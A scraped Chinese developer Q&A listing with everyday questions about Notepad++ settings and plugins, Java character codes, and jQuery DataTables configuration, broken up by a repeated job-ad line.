主要是用來查看網(wǎng)頁代碼, 最好能同時顯示出網(wǎng)頁的結構, 軟件不要太大, 啟動速度不太慢即可.
平時都用Notepad++看, 支持高光, 折疊, 就是沒有頁面的結構顯示, 如果有了基本就完美了.
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 請問應該如何在java 中得到一個字符的 Unicode 或 ASCII 值,因為我需要他的值進行判斷,卻一直無法獲?????????求解答
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
使用NotePad++ 的時候,我輸入完空格或tab后自動將前面的一個單詞大寫了。怎么去掉啊
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 無需數(shù)據(jù)庫,系統(tǒng)輕量,移植方便的博客論壇源碼在koahub里面能找到嗎? 無需數(shù)據(jù)庫,系統(tǒng)輕量,移植方便的博客論壇源碼在koahub里面能找到嗎? 無需數(shù)據(jù)庫,系統(tǒng)輕量,移植方便的博客論壇源碼在koahub里面能找到嗎? 無需數(shù)據(jù)庫,系統(tǒng)輕量,移植方便的博客論壇源碼在koahub里面能找到嗎? 無需數(shù)據(jù)庫,系統(tǒng)輕量,移植方便的博客論壇源碼在koahub里面能找到嗎?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
從網(wǎng)上看到介紹說notepad++的有拼寫檢查插件,于是試圖打開,結果出現(xiàn)以下提示:
問題是之前已經(jīng)安裝了GNU Aspell,路徑也是正確的,
并且我的notepad++的安裝路徑和aspell的路徑是一致的,輸入相對路徑"..\Aspell\bin"也出現(xiàn)相同提示,請教各路大神指點!!!
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
我的理解是,這個功能是讓我們能把本地的文件傳到云端去。但是這個地址是怎寫的?還是得有自己的云服務器?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 使用notepad++6.9.2版本編輯.cpp文件,在win10和win7上都試了,新編輯過但還未保存的代碼行和原來的代碼行沒有任何區(qū)別?什么情況?比如用UE或者VS,這種情況,前面會都出現(xiàn)一條帶顏色的豎線提示你這行有修改,求高手解答?。?!
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
一般按tab是縮進,但經(jīng)常左鍵選中一段文字的同時按tab,會變成切換標簽,非常煩躁,不知道怎么取消這個功能。
百度無果。求解,非常感謝!
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 我用了jQuery的datatables組件,頁面顯示的表格,有些單元格我還需要應用Jquery,通過ajax來處理一下,比如點擊按鈕刪除某一行,或隱藏某個單元格。但為什么我寫了腳本以后,第一頁操作都完全正常,但翻到第二頁之后就不生效了(例如click等,在第二頁之后就都沒反應了).請問有誰碰到過類似問題?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> jquery 的datatable 怎么用一個按鈕代替它的搜索?它自己的是“sSearch”:“搜索” 怎么自己弄一個按鈕代替搜索那兩個字,而且要放倒搜索框后面?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
一開始想快速搜索 但是發(fā)現(xiàn)數(shù)據(jù)量大了的話 模糊查詢對數(shù)據(jù)庫壓力大了 然后找插件 好不容易用上了 發(fā)現(xiàn)只能搜索當前頁的數(shù)據(jù) 多個分頁數(shù)據(jù)搜索不到 不知道怎么改 用的 jquery.dataTables.min.js 這插件
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
菜鳥剛開始學asp.net mvc,然后定義了一個方法數(shù)據(jù)庫的數(shù)據(jù)轉(zhuǎn)換成json格式,然后把這個數(shù)據(jù)作為datatables插件的數(shù)據(jù)源在前臺顯示,但是前臺一直沒有數(shù)據(jù)顯示,后臺方法是成功獲取到數(shù)據(jù)的。/IISINDOes/getdata是獲取json的方法。求大神指點啊
$('myDatatable').dataTable({
ajax: {
url: '/IISINDOes/getdata',
datatype:'json',
},
columns:[
{ data: 'ID' },
{ data: 'INFORMATIONTREEID' },
{ data: 'URL' },
{ data: 'TYPE' }
],
})
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 網(wǎng)上的代碼絕大多數(shù)是這樣的"oLanguage": {
"sLengthMenu 首字母縮寫駝峰模式
而官網(wǎng)上都是language 全英文小寫 為什么會這樣是不是要淘汰了 用哪個好點